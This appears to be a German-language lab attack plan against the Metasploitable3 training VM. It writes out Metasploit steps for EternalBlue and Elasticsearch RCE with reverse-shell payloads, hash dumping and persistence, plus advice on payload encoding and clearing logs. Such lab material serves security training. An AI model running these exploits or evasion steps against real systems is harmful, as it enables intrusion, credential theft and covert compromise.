# Angriffsplan: Metasploitable3 - Remote Code Execution

# Angriffsplan: Metasploitable3 Windows 2008

## 1. Übersicht

<table cellpadding="4" cellspacing="0" id="bkmrk-ziel-metasploitable3" width="100%"><colgroup><col width="128*"></col> <col width="128*"></col> </colgroup><thead><tr valign="top"><th style="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0.1cm 0cm 0.1cm 0.1cm;" width="50%">Ziel

</th><th style="border: 1px solid #000000; padding: 0.1cm;" width="50%">Metasploitable3 (Windows 2008 R2)

</th></tr></thead><tbody><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="50%">IP-Adresse

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="50%">10.0.0.2

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="50%">Gefundene Dienste

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="50%">SMB (445), Elasticsearch (9200), uvm.

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="50%">Angreifer

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="50%">Kali Linux VM (10.0.0.1)

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="50%">Methode

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="50%">Remote Code Execution (RCE) via SMB / Elasticsearch

</td></tr></tbody></table>

---

## 2. Angriffsvektor 1: EternalBlue (SMB)

### 2.1 Beschreibung

EternalBlue (CVE-2017-0143) ist eine kritische Schwachstelle im SMBv1-Protokoll von Windows. Sie ermöglicht die Ausführung von beliebigem Code mit **SYSTEM-Rechten** über eine speziell präparierte SMB-Paketsequenz.

### 2.2 Warum dieser Vektor?

- **Hohe Erfolgswahrscheinlichkeit** auf ungepatchten Windows 2008/7 Systemen
- **SYSTEM-Level Zugriff** (höchste Privilegienstufe)
- **Metasploit-Modul** vorhanden und gut dokumentiert
- Zielsystem (Metasploitable3) ist bekanntlich anfällig

### 2.3 Exploit-Schritte (Metasploit)

```
# 1. Metasploit starten

msfconsole



# 2. Modul laden

use exploit/windows/smb/ms17_010_eternalblue



# 3. Ziel konfigurieren

set RHOST 10.0.0.2

set RPORT 445



# 4. Payload festlegen

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST 10.0.0.1

set LPORT 4444



# 5. Exploit ausführen

run
```

### 2.4 Erwartetes Ergebnis

```
[*] Started reverse TCP handler on 10.0.0.1:4444<br></br>
[*] Sending stage (58073 bytes) to 10.0.0.2<br></br>
[*] Meterpreter session 1 opened<br></br>
[+] WIN - EternalBlue successful!
```

**Privileg nach Exploit:** <span style="font-family: Liberation Mono, monospace;">NT AUTHORITY\\SYSTEM</span>

### 2.5 Risiken

- **Kann System zum Absturz bringen** (Blue Screen of Death) bei fehlgeschlagenem Exploit
- **Wird von AV/EDR erkannt** (falls vorhanden)

---

## 3. Angriffsvektor 2: Elasticsearch RCE

### 3.1 Beschreibung

CVE-2014-3120 ist eine Remote-Code-Execution-Schwachstelle in Elasticsearch 1.1.x. Durch die Nutzung von dynamischen Scripts (MVEL) kann beliebiger Java-Code auf dem Server ausgeführt werden.

### 3.2 Warum dieser Vektor?

- **Keine Authentifizierung** erforderlich
- **Einfache Ausführung** via Metasploit
- **Hohe Erfolgsrate** auf Metasploitable3
- **Goodie**: Funktioniert auch auf Linux-Systemen

### 3.3 Exploit-Schritte (Metasploit)

```
# 1. Metasploit starten

msfconsole



# 2. Modul laden

use exploit/multi/elasticsearch/script_mvel_rce



# 3. Ziel konfigurieren

set RHOST 10.0.0.2

set RPORT 9200



# 4. Payload festlegen

set PAYLOAD java/meterpreter/reverse_tcp

set LHOST 10.0.0.1

set LPORT 4444



# 5. Exploit ausführen

run
```

### 3.4 Erwartetes Ergebnis

```
[*] Started reverse TCP handler on 10.0.0.1:4444<br></br>
[*] Trying to execute arbitrary Java...<br></br>
[*] Discovering remote OS...<br></br>
[+] Remote OS is 'Windows Server 2008 R2'<br></br>
[*] Meterpreter session 1 opened
```

**Privileg nach Exploit:** <span style="font-family: Liberation Mono, monospace;">NT AUTHORITY\\SYSTEM</span>

### 3.5 Risiken

- Hinterlässt Spuren in Elasticsearch-Logs
- Manuelle Bereinigung der JAR-Datei erforderlich:
    
    ```
    C:\Windows\TEMP\MEIfIw.jar
    ```

---

## 4. Vergleich der Angriffsvektoren

<table cellpadding="4" cellspacing="0" id="bkmrk-kriterium-eternalblu" width="100%"><colgroup><col width="85*"></col> <col width="85*"></col> <col width="85*"></col> </colgroup><thead><tr valign="top"><th style="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0.1cm 0cm 0.1cm 0.1cm;" width="33%">Kriterium

</th><th style="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0.1cm 0cm 0.1cm 0.1cm;" width="33%">EternalBlue (SMB)

</th><th style="border: 1px solid #000000; padding: 0.1cm;" width="33%">Elasticsearch RCE

</th></tr></thead><tbody><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Port**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">445

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">9200

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Erfolgswahrscheinlichkeit**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">Sehr hoch

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Hoch

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Privileg**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">SYSTEM

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">SYSTEM

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Stabilität**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">Kann System crashen

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Stabil

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Spurenhinterlassung**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">Gering

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Mittel (Logs, Temp-Datei)

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Benötigte Berechtigung**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">Keine

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Keine

</td></tr></tbody></table>

---

## 5. Empfohlene Angriffsreihenfolge

### Phase 1: Aufklärung (abgeschlossen)

- ☒ Nmap/Portscan durchgeführt
- ☒ SMB (445) und Elasticsearch (9200) identifiziert
- ☒ OS-Fingerprinting: Windows 2008 R2

### Phase 2: Exploitation

1. **Versuch 1: EternalBlue** (SMB)
    
    
    - Höchste Erfolgsrate
    - Falls Fehler: Elasticsearch als Backup
2. **Versuch 2: Elasticsearch RCE**
    
    
    - Fallback-Option
    - Stabiler und weniger aggressiv

### Phase 3: Post-Exploitation

- ☐ Systeminformationen sammeln (<span style="font-family: Liberation Mono, monospace;">sysinfo</span>)
- ☐ Benutzer auflisten (<span style="font-family: Liberation Mono, monospace;">getuid</span>, <span style="font-family: Liberation Mono, monospace;">getsystem</span>)
- ☐ Passwort-Hashes dumpen (<span style="font-family: Liberation Mono, monospace;">hashdump</span>)
- ☐ Persistenz einrichten (optional)
- ☐ Laterale Bewegung (falls gewünscht)

---

## 6. Meterpreter-Befehle nach erfolgreichem Exploit

```
# Systeminformationen

sysinfo



# Aktuelle Benutzerprivilegien

getuid



# SYSTEM-Rechte anfordern (falls nicht bereits SYSTEM)

getsystem



# Passwort-Hashes aus der SAM-Datenbank extrahieren

hashdump



# Screenshot des Desktops

screenshot



# Auf weitere Hosts im Netzwerk prüfen

arp -a



# Hintergrundprozess ausführen (Meterpreter im Hintergrund)

background

# Wieder Zurück in die Session

sessions -i 1
```

---

## 7. Risiken und Gegenmaßnahmen

<table cellpadding="4" cellspacing="0" id="bkmrk-risiko-beschreibung-" width="100%"><colgroup><col width="85*"></col> <col width="85*"></col> <col width="85*"></col> </colgroup><thead><tr valign="top"><th style="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0.1cm 0cm 0.1cm 0.1cm;" width="33%">Risiko

</th><th style="border-top: 1px solid #000000; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0.1cm 0cm 0.1cm 0.1cm;" width="33%">Beschreibung

</th><th style="border: 1px solid #000000; padding: 0.1cm;" width="33%">Gegenmaßnahme

</th></tr></thead><tbody><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Systemabsturz**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">EternalBlue kann Blue Screen verursachen

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Elasticsearch als sichere Alternative

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Erkennung durch AV**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">Metasploit-Payloads werden oft erkannt

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Payload verschleiern (z.B. <span style="font-family: Liberation Mono, monospace;">msfvenom</span> mit Encoding)

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Forensische Spuren**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">Logs auf dem Zielsystem

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Nach Exploit Logs bereinigen

</td></tr><tr valign="top"><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">**Netzwerküberwachung**

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: none; padding: 0cm 0cm 0.1cm 0.1cm;" width="33%">IDS/IPS kann Angriff erkennen

</td><td style="border-top: none; border-bottom: 1px solid #000000; border-left: 1px solid #000000; border-right: 1px solid #000000; padding: 0cm 0.1cm 0.1cm 0.1cm;" width="33%">Langsamer ausführen oder über verschlüsselten Tunnel

</td></tr></tbody></table>

---

## 8. Fazit

Beide Angriffsvektoren sind **valide und effektiv** gegen das Metasploitable3-Zielsystem. EternalBlue bietet die höchste Erfolgswahrscheinlichkeit, während Elasticsearch eine stabile Alternative darstellt. Die erzielten SYSTEM-Rechte ermöglichen eine vollständige Kompromittierung des Zielsystems.

---

### 📝 Quellen / Referenzen

- CVE-2017-0143: [https://nvd.nist.gov/vuln/detail/CVE-2017-0143](https://nvd.nist.gov/vuln/detail/CVE-2017-0143)
- CVE-2014-3120: [https://nvd.nist.gov/vuln/detail/CVE-2014-3120](https://nvd.nist.gov/vuln/detail/CVE-2014-3120)
- Metasploit Module Documentation: <span style="font-family: Liberation Mono, monospace;">msfconsole</span> → <span style="font-family: Liberation Mono, monospace;">info exploit/windows/smb/ms17\_010\_eternalblue</span>
- Metasploitable3 Dokumentation: [https://github.com/rapid7/metasploitable3](https://github.com/rapid7/metasploitable3)

---